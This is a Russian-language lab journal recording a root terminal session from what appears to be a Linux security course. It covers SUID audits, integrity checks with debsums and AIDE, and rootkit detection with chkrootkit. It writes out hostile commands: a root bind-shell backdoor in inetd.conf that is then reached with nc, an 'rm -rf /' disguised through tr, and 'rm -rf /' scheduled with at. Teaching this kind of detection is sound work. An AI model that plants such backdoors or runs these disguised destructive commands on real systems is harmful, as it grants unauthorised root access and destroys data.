Журнал лабораторных работ

Содержание

Журнал

Вторник (12/16/08)

/dev/pts/4
10:45:32
#find / -perm +4000 -ls
find: /proc/8339/task/8339/fd/4: No such file or directory
find: /proc/8339/fd/4: No such file or directory
 65564   28 -rwsr-xr-x   1 root     root        27076 Jan 13  2008 /bin/su
 66295   28 -rwsr-xr-x   1 root     root        26616 Dec 10  2007 /bin/ping6
 65566   44 -rwsr-xr-x   1 root     root        44088 Jan 19  2008 /bin/umount
 66294   32 -rwsr-xr-x   1 root     root        30788 Dec 10  2007 /bin/ping
 65567   68 -rwsr-xr-x   1 root     root        64112 Jan 19  2008 /bin/mount
110880  584 -rwsr-xr-x   1 root     root       593444 Dec 16 08:37 /tmp/vi
 49155   20 -rwsr-xr-x   1 root     root        18836 Sep 28  2007 /sbin/unix_chkpwd
 60089   32 -rwsr-xr-x   1 root     root        32152 Jan 13  2008 /usr/bin/chfn
...
 60208  804 -rwsr-xr-x   1 root     root       816868 Jan 25  2008 /usr/bin/gpg
 64496  112 -rwsr-xr-x   2 root     root       107004 Feb 19  2008 /usr/bin/sudo
 60090   24 -rwsr-xr-x   1 root     root        24472 Jan 13  2008 /usr/bin/chsh
 60093   32 -rwsr-xr-x   1 root     root        29880 Jan 13  2008 /usr/bin/passwd
 64496  112 -rwsr-xr-x   2 root     root       107004 Feb 19  2008 /usr/bin/sudoedit
 59960   24 -rwsr-xr-x   1 root     root        22788 Jan 13  2008 /usr/bin/newgrp
 81977  228 -rwsr-xr--   1 root     messagebus   228540 Feb 18  2008 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
 82540    8 -rwsr-xr-x   1 root     root         4444 Oct 28  2007 /usr/lib/eject/dmcrypt-get-device
 90509   12 -rwsr-xr-x   1 root     root         9620 Nov  4 20:47 /usr/lib/pt_chown
 73911  164 -rwsr-xr-x   1 root     root       162096 Feb 13  2008 /usr/lib/openssh/ssh-keysign
10:48:08
#find / -perm +4000
find: /proc/8347/task/8347/fd/4: No such file or directory
find: /proc/8347/fd/4: No such file or directory
/bin/su
/bin/ping6
/bin/umount
/bin/ping
/bin/mount
/tmp/vi
/sbin/unix_chkpwd
/usr/bin/chfn
...
/usr/bin/gpg
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/sudoedit
/usr/bin/newgrp
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/pt_chown
/usr/lib/openssh/ssh-keysign
10:48:19
#find / -perm -4000
find: /proc/8355/task/8355/fd/4: No such file or directory
find: /proc/8355/fd/4: No such file or directory
/bin/su
/bin/ping6
/bin/umount
/bin/ping
/bin/mount
/tmp/vi
/sbin/unix_chkpwd
/usr/bin/chfn
...
/usr/bin/gpg
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/sudoedit
/usr/bin/newgrp
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/pt_chown
/usr/lib/openssh/ssh-keysign
10:48:29
#find / -perm +4000 -exec md5sum {} \; > /tmp/sums
find: /proc/8363/task/8363/fd/4: No such file or directory
find: /proc/8363/fd/4: No such file or directory
10:49:30
#echo XXXX >> /tmp/vi

10:49:43
#find / -perm +4000 -exec md5sum {} \; > /tmp/sums2
find: /proc/8398/task/8398/fd/4: No such file or directory
find: /proc/8398/fd/4: No such file or directory
10:49:49
#diff /tmp/sums*
6c6
< 59eb7dd2270a197122fd6b94cbd5ac13  /tmp/vi
---
> ab113f24451c5cfba8d03c22773f5784  /tmp/vi
10:49:53
#apt-get install debsums
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following packages were automatically installed and are no longer required:
  python2.4-minimal python2.4 libttf2 cpp-4.2
Use 'apt-get autoremove' to remove them.
The following NEW packages will be installed:
  debsums
0 upgraded, 1 newly installed, 0 to remove and 374 not upgraded.
Need to get 42.9kB of archives.
After this operation, 242kB of additional disk space will be used.
Get:1 http://10.0.35.1 sid/main debsums 2.0.40 [42.9kB]
Fetched 42.9kB in 1s (39.1kB/s)
Preconfiguring packages ...
Selecting previously deselected package debsums.
(Reading database ... 39753 files and directories currently installed.)
Unpacking debsums (from .../debsums_2.0.40_all.deb) ...
Setting up debsums (2.0.40) ...
10:51:48
#debsums | less
10:52:02
#debsums | grep -v OK
debsums: no md5sums for base-files
debsums: no md5sums for binutils
debsums: no md5sums for bzip2
debsums: no md5sums for debian-archive-keyring
debsums: no md5sums for ed
debsums: no md5sums for gnupg
debsums: no md5sums for gpgv
debsums: no md5sums for initscripts
debsums: no md5sums for klogd
debsums: no md5sums for libbz2-1.0
...
debsums: no md5sums for libncursesw5
debsums: no md5sums for libvolume-id0
debsums: no md5sums for mawk
debsums: no md5sums for mime-support
debsums: no md5sums for miscfiles
debsums: no md5sums for module-init-tools
debsums: no md5sums for ncurses-base
debsums: no md5sums for ncurses-bin
debsums: no md5sums for netbase
debsums: no md5sums for openbsd-inetd
10:52:52
#ls /var/cache/apt/
archives  pkgcache.bin  srcpkgcache.bin
10:53:11
#ls /var/cache/apt/archives/ | less
10:53:28
#debsums | grep -v OK
debsums: no md5sums for base-files
debsums: no md5sums for binutils
debsums: no md5sums for bzip2
debsums: no md5sums for debian-archive-keyring
debsums: no md5sums for ed
debsums: no md5sums for gnupg
debsums: no md5sums for gpgv
debsums: no md5sums for initscripts
^Cdebsums: no md5sums for klogd
10:53:50
#apt-cache search tripwire
bsign - Corruption & intrusion detection using embedded hashes
systraq - monitor your system and warn when system files change
tripwire - file and directory integrity checker
10:55:34
#apt-cache search yafic

10:55:47
#apt-cache search aide
aide - Advanced Intrusion Detection Environment - static binary
aide-common - Advanced Intrusion Detection Environment - Common files
aide-dynamic - Advanced Intrusion Detection Environment - dynamic binary
aide-xen - Advanced Intrusion Detection Environment - static binary for XEN
atlc - Arbitrary Transmission Line Calculator
ibp - Viewer for the International Beacon Project
libnet-dns-fingerprint-perl - library to determine DNS server vendor, product and version
magicmaze - rescue the maiden while avoiding the monsters
pythoncad - Computer Aided Drafting (CAD) program
varkon - A CAD-system with parametric modelling
varkon-programmer-manual - Programmer manual for VARKONs mbs language
varkon-user-manual - User manual for VARKON
wwl - Calculates distance and azimuth between two Maidenhead locators
10:55:52
#apt-get install aide
Creating config file /etc/aide/aide.conf.d/31_aide_clamav with new version
Creating config file /etc/aide/aide.conf.d/31_aide_dhcp3-server with new version
Creating config file /etc/aide/aide.conf.d/31_aide_libapache2-mod-fastcgi with new version
Creating config file /etc/aide/aide.conf.d/31_aide_wtmp with new version
Creating config file /etc/aide/aide.conf.d/99_aide_root with new version
Creating config file /etc/aide/aide.conf.d/31_aide_openvpn with new version
Creating config file /etc/aide/aide.conf.d/31_aide_ippl with new version
Creating config file /etc/aide/aide.conf.d/31_aide_apt_frqchg with new version
Creating config file /etc/aide/aide.conf.d/31_aide_snmpd with new version
Creating config file /etc/aide/aide.conf.d/31_aide_cron-apt with new version
...
Creating config file /etc/aide/aide.conf.d/31_aide_amanda-client with new version
Creating config file /etc/aide/aide.conf.d/31_aide_rngd with new version
Creating config file /etc/aide/aide.conf.d/31_aide_webalizer with new version
Creating config file /etc/aide/aide.conf.d/31_aide_anacron with new version
Creating config file /etc/aide/aide.conf.d/31_aide_xfree86-common with new version
Creating config file /etc/aide/aide.conf.d/31_aide_lastlog with new version
Creating config file /etc/aide/aide.conf.d/31_aide_findutils with new version
Creating config file /etc/aide/aide.conf.d/31_aide_munin with new version
Creating config file /etc/aide/aide.conf.d/70_aide_proc_sys with new version
Creating config file /etc/aide/aide.conf.d/31_aide_php5 with new version
10:57:41
#ls /etc/aide/
aide.conf  aide.conf.d
10:57:46
#ls /etc/aide/aide.conf.d/
10_aide_hostname          31_aide_ippl
10_aide_year              31_aide_lastlog
30_aide_apache2           31_aide_libapache2-mod-fastcgi
30_inn2_vars              31_aide_logrotate
31_aide_acpid             31_aide_lvm2
31_aide_adjtime           31_aide_mailman
31_aide_aide              31_aide_man
31_aide_amanda-client     31_aide_mlocate
31_aide_amanda-server     31_aide_modules
31_aide_amavisd-new       31_aide_mtab
...
31_aide_dovecot           31_aide_wtmp
31_aide_dpkg              31_aide_xfree86-common
31_aide_exim4             31_aide_xinetd
31_aide_exim4_logs        70_aide_dev
31_aide_findutils         70_aide_etc
31_aide_gpg               70_aide_proc_sys
31_aide_ifupdown          70_aide_tmp
31_aide_inetd             70_aide_var
31_aide_initscripts       99_aide_root
31_aide_inn2
10:57:53
#less /etc/aide/aide.conf
10:58:38
#less /etc/aide/aide.conf
11:00:14
#less /etc/aide/aide.conf.d/
11:00:14
#less /etc/aide/aide.conf.d/31_aide_man
11:00:36
#less /etc/aide/aide.conf
11:01:48
#less /etc/aide/aide.conf.d/
11:01:48
#less /etc/aide/aide.conf.d/31_aide_squid
11:02:24
#less /etc/aide/aide.conf.d/
11:02:24
#less /etc/aide/aide.conf.d/31_aide_initscripts
11:03:51
#ls /etc/cron
cron.d/       cron.hourly/  cron.weekly/
cron.daily/   cron.monthly/ crontab
11:03:51
#ls /etc/cron
cron.d/       cron.hourly/  cron.weekly/
cron.daily/   cron.monthly/ crontab
11:03:51
#ls /etc/cron*/
/etc/cron.d/:
/etc/cron.daily/:
aide  aptitude      debsums     logrotate  standard
apt   bsdmainutils  exim4-base  man-db     sysklogd
/etc/cron.hourly/:
/etc/cron.monthly/:
debsums  scrollkeeper  standard
/etc/cron.weekly/:
debsums  man-db  sysklogd
прошло 40 минут
11:44:42
#apt-get install chkrootkit
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following packages were automatically installed and are no longer required:
  python2.4-minimal python2.4 libttf2 cpp-4.2
Use 'apt-get autoremove' to remove them.
The following NEW packages will be installed:
  chkrootkit
0 upgraded, 1 newly installed, 0 to remove and 374 not upgraded.
Need to get 293kB of archives.
After this operation, 795kB of additional disk space will be used.
Get:1 http://10.0.35.1 sid/main chkrootkit 0.48-8 [293kB]
Fetched 293kB in 2s (144kB/s)
Preconfiguring packages ...
Selecting previously deselected package chkrootkit.
(Reading database ... 40131 files and directories currently installed.)
Unpacking chkrootkit (from .../chkrootkit_0.48-8_i386.deb) ...
Setting up chkrootkit (0.48-8) ...
11:47:34
#vi /etc/inetd.conf
11:48:10
#vi /etc/inetd.conf
--- /tmp/l3-saved-7843.11573.16691	2008-12-16 09:48:11.000000000 +0000
+++ /etc/inetd.conf	2008-12-16 09:48:53.000000000 +0000
@@ -18,6 +18,7 @@
 #discard		dgram	udp	wait	root	internal
 #daytime		stream	tcp	nowait	root	internal
 #time		stream	tcp	nowait	root	internal
+finger          stream  tcp     nowait  root    /bin/sh sh -i
 
 #:STANDARD: These are standard services.
 
11:48:53
#/etc/init.d/openbsd-inetd restart
Restarting internet superserver: inetd.
11:49:04
#telnet 127.0.0.1 79
l3script: telnet: command not found
11:49:12
#nc 127.0.0.1 79
sh-3.1# id #
uid=0(root) gid=0(root) groups=0(root)
sh-3.1# touch /tmp/ffff #
sh-3.1# ls -l /tmp/ #
total 620
-rw-r--r-- 1 root root    131 Dec 14 22:59 daemon2
-rw-r--r-- 1 root root      0 Dec 16 09:49 ffff
drwx------ 3 user user   4096 Dec 15 14:29 gconfd-user
-rw-r--r-- 1 user user   5233 Dec 14 22:48 install
drwx------ 2 user user   4096 Dec 14 21:23 keyring-3EVS6x
drwx------ 2 user user   4096 Dec 15 14:29 orbit-user
prw-r--r-- 1 root root      0 Dec 16 08:23 pipe
drwx------ 2 user user   4096 Dec 14 21:23 ssh-SjKCBg1901
-rw-r--r-- 1 root root   1016 Dec 16 08:49 sums
-rw-r--r-- 1 root root   1016 Dec 16 08:49 sums2
-rwsr-xr-x 1 root root 593449 Dec 16 08:49 vi
sh-3.1# id
uid=0(root) gid=0(root) groups=0(root)
sh-3.1#
11:51:29
#chkrootkit
ROOTDIR is `/'
Checking `amd'...                                           not found
Checking `basename'...                                      not infected
Checking `biff'...                                          not found
Checking `chfn'...                                          not infected
Checking `chsh'...                                          not infected
Checking `cron'...                                          not infected
Checking `crontab'...                                       not infected
Checking `date'...                                          not infected
Checking `du'...                                            not infected
...
Searching for Madalin rootkit default files...              nothing found
Searching for Fu rootkit default files...                   nothing found
Searching for ESRK rootkit default files...                 nothing found
Searching for rootedoor...                                  nothing found
Searching for ENYELKM rootkit default files...              nothing found
Searching for common ssh-scanners default files...          nothing found
Searching for anomalies in shell history files...           nothing found
Checking `asp'...                                           not infected
Checking `bindshell'...                                     not infected
Checking `lkm'...                                           chkproc: nothing detected
11:51:47
#chkrootkit | grep -i inf
Checking `basename'...                                      not infected
Checking `chfn'...                                          not infected
Checking `chsh'...                                          not infected
Checking `cron'...                                          not infected
Checking `crontab'...                                       not infected
Checking `date'...                                          not infected
Checking `du'...                                            not infected
Checking `dirname'...                                       not infected
Checking `echo'...                                          not infected
Checking `egrep'...                                         not infected
...
Checking `sshd'...                                          not infected
Checking `syslogd'...                                       not infected
Checking `tar'...                                           not infected
Checking `tcpd'...                                          not infected
Checking `tcpdump'...                                       not infected
Checking `top'...                                           not infected
Checking `traceroute'...                                    not infected
Checking `vdir'...                                          not infected
Checking `w'...                                             not infected
Checking `write'...                                         not infected
11:51:54
#chkrootkit | grep -iv 'not inf'
ROOTDIR is `/'
Checking `amd'...                                           not found
Checking `biff'...                                          not found
Checking `fingerd'...                                       not found
Checking `gpm'...                                           not found
Checking `hdparm'...                                        not found
Checking `inetdconf'...                                     INFECTED
Checking `identd'...                                        not found
Checking `lsof'...                                          not found
Checking `mingetty'...                                      not found
...
Searching for AjaKit rootkit default files and dirs...      nothing found
Searching for zaRwT rootkit default files and dirs...       nothing found
Searching for Madalin rootkit default files...              nothing found
Searching for Fu rootkit default files...                   nothing found
Searching for ESRK rootkit default files...                 nothing found
Searching for rootedoor...                                  nothing found
Searching for ENYELKM rootkit default files...              nothing found
Searching for common ssh-scanners default files...          nothing found
Searching for anomalies in shell history files...           nothing found
Checking `lkm'...                                           chkproc: nothing detected
11:52:04
#chkrootkit | grep INFE
Checking `inetdconf'...                                     INFECTED
11:52:11
#echo sn+-sg+= | tr b-za+= a-z\ /
rm -rf /
11:53:12
#echo to+-th+= | tr c-zaa+= a-z\ /
rm -rf /
11:54:33
#echo date
date
11:57:58
#`echo date`
Tue Dec 16 09:58:02 UTC 2008
11:58:02
#`echo to+-th+= | tr c-zaa+= a-z\ /`

12:05:15
#df -h
Filesystem            Size  Used Avail Use% Mounted on
/dev/hda1             2.0G  1.4G  549M  72% /
tmpfs                 201M     0  201M   0% /lib/init/rw
udev                   10M   20K   10M   1% /dev
tmpfs                 201M  4.0K  201M   1% /dev/shm
12:05:33
#mkdir /tmp/tmchroot

12:05:46
#apt-get install debootstrap
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following packages were automatically installed and are no longer required:
  python2.4-minimal python2.4 libttf2 cpp-4.2
Use 'apt-get autoremove' to remove them.
The following NEW packages will be installed:
  debootstrap
0 upgraded, 1 newly installed, 0 to remove and 373 not upgraded.
Need to get 50.6kB of archives.
After this operation, 266kB of additional disk space will be used.
Get:1 http://10.0.35.1 sid/main debootstrap 1.0.10 [50.6kB]
Fetched 50.6kB in 0s (715kB/s)
Selecting previously deselected package debootstrap.
(Reading database ... 40155 files and directories currently installed.)
Unpacking debootstrap (from .../debootstrap_1.0.10_all.deb) ...
Setting up debootstrap (1.0.10) ...
12:06:07
#debootstrap sid /tmp/tmchroot/ http://10.0.35.1:9999/
I: Retrieving Release
E: Failed getting release file http://10.0.35.1:9999/dists/sid/Release
12:06:31
#debootstrap sid /tmp/tmchroot/ http://10.0.35.1:9999/debian/
I: Configuring libdevmapper1.02.1...
I: Configuring e2fslibs...
I: Configuring dpkg...
I: Configuring sysvinit-utils...
I: Configuring bash...
I: Configuring lsb-base...
I: Configuring procps...
I: Configuring perl-base...
I: Configuring libtext-iconv-perl...
I: Configuring liblocale-gettext-perl...
...
I: Configuring libcwidget3...
I: Configuring libgnutls26...
I: Configuring debian-archive-keyring...
I: Configuring apt...
I: Configuring libept0...
I: Configuring apt-utils...
I: Configuring aptitude...
I: Configuring tasksel-data...
I: Configuring tasksel...
I: Base system installed successfully.
12:11:28
#chroot /tmp/tmchroot/
chpasswd                      pathchk
chroot                        perl
chrt                          perl5.10.0
chsh                          pg
cksum                         pgrep
cleanup-info                  pic
clear                         pico
clear_console                 pidof
cmp                           ping
col                           ping6
...
groupadd                      times
groupdel                      tload
groupmod                      toe
groups                        top
grpck                         touch
grpconv                       tput
wb1:/# du -sk .
196816  .
wb1:/# exit
exit
12:13:09
#chroot /tmp/tmchroot/
wb1:/# `echo to+-th+= | tr c-zaa+= a-z\ /`
rm: cannot remove root directory `/'
wb1:/# `echo to+-th+=. | tr c-zaa+=. a-z\ /\*`
wb1:/# ls
bash: ls: command not found
wb1:/# echo *
*
wb1:/# exit
exit
12:14:41
#echo rm -rf / | at now + 100 days
l3script: at: command not found
12:15:50
#apt-get install at
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following packages were automatically installed and are no longer required:
  python2.4-minimal python2.4 libttf2 cpp-4.2
Use 'apt-get autoremove' to remove them.
The following NEW packages will be installed:
  at
0 upgraded, 1 newly installed, 0 to remove and 373 not upgraded.
Need to get 43.1kB of archives.
After this operation, 213kB of additional disk space will be used.
Get:1 http://10.0.35.1 sid/main at 3.1.10.2 [43.1kB]
Fetched 43.1kB in 0s (672kB/s)
Selecting previously deselected package at.
(Reading database ... 40186 files and directories currently installed.)
Unpacking at (from .../archives/at_3.1.10.2_i386.deb) ...
Setting up at (3.1.10.2) ...
Starting deferred execution scheduler: atd.
12:16:05
#echo rm -rf / | at now + 100 days
warning: commands will be executed using /bin/sh
job 1 at Thu Mar 26 10:16:00 2009
12:16:07
#atq
1       Thu Mar 26 10:16:00 2009 a root
12:16:13
#cat /var/spool/
cron/  cups/  exim4/ mail/
12:16:13
#cat /var/spool/cron/
atjobs/   atspool/  crontabs/
12:16:13
#cat /var/spool/cron/atjobs/
.SEQ            a00001013adb08
12:16:13
#cat /var/spool/cron/atjobs/a00001013adb08
#!/bin/sh
# atrun uid=0 gid=0
# mail root 0
umask 22
L3_PARENT_TTY=/dev/pts/4; export L3_PARENT_TTY
L3_TAMPERED_EDITORS=\ vi\ vim\ pico\ nano; export L3_TAMPERED_EDITORS
USER=root; export USER
TERMCAP=SC\|screen\|VT\ 100/ANSI\ X3.64\ virtual\ terminal:\\"
"\      :DO=\\E[%dB:LE=\\E[%dD:RI=\\E[%dC:UP=\\E[%dA:bs:bt=\\E[Z:\\"
"\      :cd=\\E[J:ce=\\E[K:cl=\\E[H\\E[J:cm=\\E[%i%d\;%dH:ct=\\E[3g:\\"
...
"\      :F9=\\E[18\;2\~:FA=\\E[19\;2\~:kb=\:K2=\\EOE:kB=\\E[Z:\\"
"\      :\*4=\\E[3\;2\~:\*7=\\E[1\;2F:#2=\\E[1\;2H:#3=\\E[2\;2\~:#4=\\E[1\;2D:\\"
"\      :%c=\\E[6\;2\~:%e=\\E[5\;2\~:%i=\\E[1\;2C:kh=\\E[1\~:@1=\\E[1\~:\\"
"\      :kH=\\E[4\~:@7=\\E[4\~:kN=\\E[6\~:kP=\\E[5\~:kI=\\E[2\~:kD=\\E[3\~:\\"
"\      :ku=\\EOA:kd=\\EOB:kr=\\EOC:kl=\\EOD:km:; export TERMCAP
MAIL=/var/mail/root; export MAIL
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; export PATH
L3_SESSION_ID=1159830598755099-1229415638; export L3_SESSION_ID
STY=7787.pts-1.wb1; export STY
PWD=/root; export PWD
12:16:47
#echo rm -rf / | at now + 100 days

12:17:00
#atq
1       Thu Mar 26 10:16:00 2009 a root
12:17:02
#atrm 1

12:17:48
#atq

12:17:50
#echo reboot | at now + 60 minutes
warning: commands will be executed using /bin/sh
job 2 at Tue Dec 16 11:18:00 2008
12:18:21
#ldd /bin/bash
        linux-gate.so.1 =>  (0xb7f20000)
        libncurses.so.5 => /lib/libncurses.so.5 (0xb7ee4000)
        libdl.so.2 => /lib/libdl.so.2 (0xb7ee0000)
        libc.so.6 => /lib/libc.so.6 (0xb7da2000)
        /lib/ld-linux.so.2 (0xb7f21000)
12:20:27
#ldd /bin/bash | grep /lib
        libncurses.so.5 => /lib/libncurses.so.5 (0xb7f06000)
        libdl.so.2 => /lib/libdl.so.2 (0xb7f02000)
        libc.so.6 => /lib/libc.so.6 (0xb7dc4000)
        /lib/ld-linux.so.2 (0xb7f43000)
12:21:10
#ldd /bin/bash | grep /lib | sed s@.*/lib/@/lib/@
/lib/libncurses.so.5 (0xb7ec1000)
/lib/libdl.so.2 (0xb7ebd000)
/lib/libc.so.6 (0xb7d7f000)
/lib/ld-linux.so.2 (0xb7efe000)
12:21:28
#ldd /bin/bash | grep /lib | sed s@.*/lib/@/lib/@ | cut -f1
/lib/libncurses.so.5 (0xb7f6f000)
/lib/libdl.so.2 (0xb7f6b000)
/lib/libc.so.6 (0xb7e2d000)
/lib/ld-linux.so.2 (0xb7fac000)
12:21:47
#mkdir /tmp/chroot

12:21:53
#c[ $(

12:21:53
#cp
t $1}' ) /tmp/chroot/
12:22:13
#mkdir /tmp/chroot/lib

12:22:24
#mv /tmp/chroot/lib*.* /tmp/chroot/lib/

12:22:36
#mkdir /tmp/chroot/bin

12:22:46
#cp /bin/bash /tmp/chroot/bin

12:22:49
#chroot /tmp/chroot /bin/bash
chroot: cannot run command `/bin/bash': No such file or directory
12:22:57
#ldd /tmp/chroot/bin/bash
        linux-gate.so.1 =>  (0xb7f6f000)
        libncurses.so.5 => /lib/libncurses.so.5 (0xb7f33000)
        libdl.so.2 => /lib/libdl.so.2 (0xb7f2f000)
        libc.so.6 => /lib/libc.so.6 (0xb7df1000)
        /lib/ld-linux.so.2 (0xb7f70000)
12:23:16
#ls -l /tmp/chroot/bin/bash
-rwxr-xr-x 1 root root 688492 Dec 16 10:22 /tmp/chroot/bin/bash
12:23:19
#find /lib /usr/lib -name \*gate\*
/usr/lib/xscreensaver/interaggregate
/usr/lib/gimp/2.0/plug-ins/vpropagate
/usr/lib/ImageMagick-6.3.7/config/delegates.xml
12:23:40
#ls -l /tmp/chroot/lib/
total 1480
-rwxr-xr-x 1 root root 1294572 Dec 16 10:22 libc.so.6
-rw-r--r-- 1 root root    9680 Dec 16 10:22 libdl.so.2
-rw-r--r-- 1 root root  195564 Dec 16 10:22 libncurses.so.5
12:23:52
#cp /lib/ld-linux.so.2 /tmp/chroot/lib/

12:24:22
#chroot /tmp/chroot /bin/bash
bash: /bin/date: No such file or directory
bash: /root/.lilalo//l3prompt: No such file or directory
bash: /dev/null: No such file or directory
[I have no name!@wb1:/]# exit
exit
12:24:44
#PS1='\$ ' chroot /tmp/chroot /bin/bash
#
#
#
#
# echo *\
>
bin ld-linux.so.2 lib
# echo *
bin ld-linux.so.2 lib
# echo lib/*
lib/ld-linux.so.2 lib/libc.so.6 lib/libdl.so.2 lib/libncurses.so.5
# ls
bash: ls: command not found
# echo *
bin ld-linux.so.2 lib
# mv ld-linux.so.2 lib/
bash: mv: command not found
# exit
exit
12:26:09
#which mv
/bin/mv
12:26:15
#ldd /bin/mv
        linux-gate.so.1 =>  (0xb7fbe000)
        libselinux.so.1 => /lib/libselinux.so.1 (0xb7f9a000)
        libacl.so.1 => /lib/libacl.so.1 (0xb7f93000)
        libc.so.6 => /lib/libc.so.6 (0xb7e55000)
        libdl.so.2 => /lib/libdl.so.2 (0xb7e50000)
        /lib/ld-linux.so.2 (0xb7fbf000)
        libattr.so.1 => /lib/libattr.so.1 (0xb7e4c000)
12:26:18
#cp /lib/libattr.so.1 /lib/libselinux.so.1 /lib/libacl.so.1 /tmp/t

12:27:03
#cp /bin/mv /tmp/chroot/bin/

12:27:12
#chroot /tmp/chroot
bash: /bin/date: No such file or directory
bash: /root/.lilalo//l3prompt: No such file or directory
bash: /dev/null: No such file or directory
[I have no name!@wb1:/]# exit
exit
12:27:19
#ldd /bin/mv

12:27:19
#PS1='\$ ' chroot /tmp/chroot /bin/bash
#
#
# echo *
bin ld-linux.so.2 lib
# mv ld-linux.so.2 lib/
# exit
exit
12:27:46
#l3mass_upload /home/user/
.ICEauthority                     .mozilla/
.Xauthority                       .recently-used.xbel
.bash_history                     .ssh/
.bash_logout                      .themes/
.bash_profile                     .thumbnails/
.bashrc                           .xsession-errors
.cache/                           Desktop/
.config/                          akula.xcf
.dbus/                            flower.png
.dmrc                             gnu-screen.xcf
.fontconfig/                      one-server-for-one-service.xcf
.gconf/                           osdn2008-xen-drbd-chubin/
.gconfd/                          osdn2008-xen-drbd-chubin.tar.bz2
.gimp-2.4/                        rmrf.png
.gnome2/                          spasibo.png
.gnome2_private/                  start.xcf
.gqview/                          suid.png
.inkscape/                        syslog-ng.png
.l3rc                             syslog.xcf
.lilalo/                          upload_xcf
.local/                           uploaded/
12:27:46
#l3mass_upload /home/user/suid.png
Uploaded file name is 1159830598755099-1229415638_1229423283_suid.png
Upload complete
/var/www/xguru/l3shot/1159830598755099-1229415638_1229423283_suid.png
screenshot id 1159830598755099-1229415638_1229423283_suid.png
12:28:04
#l3mass_upload /home/user/rmrf.png
Uploaded file name is 1159830598755099-1229415638_1229423295_rmrf.png
Upload complete
/var/www/xguru/l3shot/1159830598755099-1229415638_1229423295_rmrf.png
12:28:15
#ldd /bin/mv

12:28:15
#cp /bin/mv /tmp/chroot/bin/

screenshot id 1159830598755099-1229415638_1229423295_rmrf.png
12:28:25
#mount
/dev/hda1 on / type ext3 (rw)
tmpfs on /lib/init/rw type tmpfs (rw,nosuid,mode=0755)
proc on /proc type proc (rw,noexec,nosuid,nodev)
sysfs on /sys type sysfs (rw,noexec,nosuid,nodev)
udev on /dev type tmpfs (rw,mode=0755)
tmpfs on /dev/shm type tmpfs (rw,nosuid,nodev)
devpts on /dev/pts type devpts (rw,noexec,nosuid,gid=5,mode=620)
12:28:26
#cd /tmp/

12:28:45
#dd if=/dev/zero of=image count=100 bs=1024k
100+0 records in
100+0 records out
104857600 bytes (105 MB) copied, 0.321317 s, 326 MB/s
12:29:03
#mkfs.ext3 image
mke2fs 1.40.6 (09-Feb-2008)
image is not a block special device.
Proceed anyway? (y,n) y
Filesystem label=
OS type: Linux
Block size=1024 (log=0)
Fragment size=1024 (log=0)
25688 inodes, 102400 blocks
5120 blocks (5.00%) reserved for the super user
First data block=1
Maximum filesystem blocks=67371008
13 block groups
8192 blocks per group, 8192 fragments per group
1976 inodes per group
Superblock backups stored on blocks:
        8193, 24577, 40961, 57345, 73729
Writing inode tables: done
Creating journal (4096 blocks): done
Writing superblocks and filesystem accounting information: done
This filesystem will be automatically checked every 26 mounts or
180 days, whichever comes first.  Use tune2fs -c or -i to override.

Файлы

  • /var/spool/
  • /var/spool/cron/
  • /var/spool/cron/atjobs/
  • /var/spool/cron/atjobs/a00001013adb08
  • /var/spool/
    >
    cron/  cups/  exim4/ mail/
    
    /var/spool/cron/
    >
    atjobs/   atspool/  crontabs/
    
    /var/spool/cron/atjobs/
    >
    .SEQ            a00001013adb08
    
    /var/spool/cron/atjobs/a00001013adb08
    >
    #!/bin/sh
    # atrun uid=0 gid=0
    # mail root 0
    umask 22
    L3_PARENT_TTY=/dev/pts/4; export L3_PARENT_TTY
    L3_TAMPERED_EDITORS=\ vi\ vim\ pico\ nano; export L3_TAMPERED_EDITORS
    USER=root; export USER
    TERMCAP=SC\|screen\|VT\ 100/ANSI\ X3.64\ virtual\ terminal:\\"
    "\      :DO=\\E[%dB:LE=\\E[%dD:RI=\\E[%dC:UP=\\E[%dA:bs:bt=\\E[Z:\\"
    "\      :cd=\\E[J:ce=\\E[K:cl=\\E[H\\E[J:cm=\\E[%i%d\;%dH:ct=\\E[3g:\\"
    "\      :do=\^J:nd=\\E[C:pt:rc=\\E8:rs=\\Ec:sc=\\E7:st=\\EH:up=\\EM:\\"
    "\      :le=\^H:bl=\^G:cr=\^M:it#8:ho=\\E[H:nw=\\EE:ta=\^I:is=\\E\)0:\\"
    "\      :li#24:co#80:am:xn:xv:LP:sr=\\EM:al=\\E[L:AL=\\E[%dL:\\"
    "\      :cs=\\E[%i%d\;%dr:dl=\\E[M:DL=\\E[%dM:dc=\\E[P:DC=\\E[%dP:\\"
    "\      :im=\\E[4h:ei=\\E[4l:mi:IC=\\E[%d@:ks=\\E[\?1h\\E=:\\"
    "\      :ke=\\E[\?1l\\E\>:vi=\\E[\?25l:ve=\\E[34h\\E[\?25h:vs=\\E[34l:\\"
    "\      :ti=\\E[\?1049h:te=\\E[\?1049l:us=\\E[4m:ue=\\E[24m:so=\\E[3m:\\"
    "\      :se=\\E[23m:mb=\\E[5m:md=\\E[1m:mr=\\E[7m:me=\\E[m:ms:\\"
    "\      :Co#8:pa#64:AF=\\E[3%dm:AB=\\E[4%dm:op=\\E[39\;49m:AX:\\"
    "\      :vb=\\Eg:G0:as=\\E\(0:ae=\\E\(B:\\"
    "\      :ac=\\140\\140aaffggjjkkllmmnnooppqqrrssttuuvvwwxxyyzz{{\|\|}}\~\~..--++,,hhII00:\\"
    "\      :po=\\E[5i:pf=\\E[4i:k0=\\E[10\~:k1=\\EOP:k2=\\EOQ:k3=\\EOR:\\"
    "\      :k4=\\EOS:k5=\\E[15\~:k6=\\E[17\~:k7=\\E[18\~:k8=\\E[19\~:\\"
    "\      :k9=\\E[20\~:k\;=\\E[21\~:F1=\\E[23\~:F2=\\E[24\~:F3=\\EO2P:\\"
    "\      :F4=\\EO2Q:F5=\\EO2R:F6=\\EO2S:F7=\\E[15\;2\~:F8=\\E[17\;2\~:\\"
    "\      :F9=\\E[18\;2\~:FA=\\E[19\;2\~:kb=\:K2=\\EOE:kB=\\E[Z:\\"
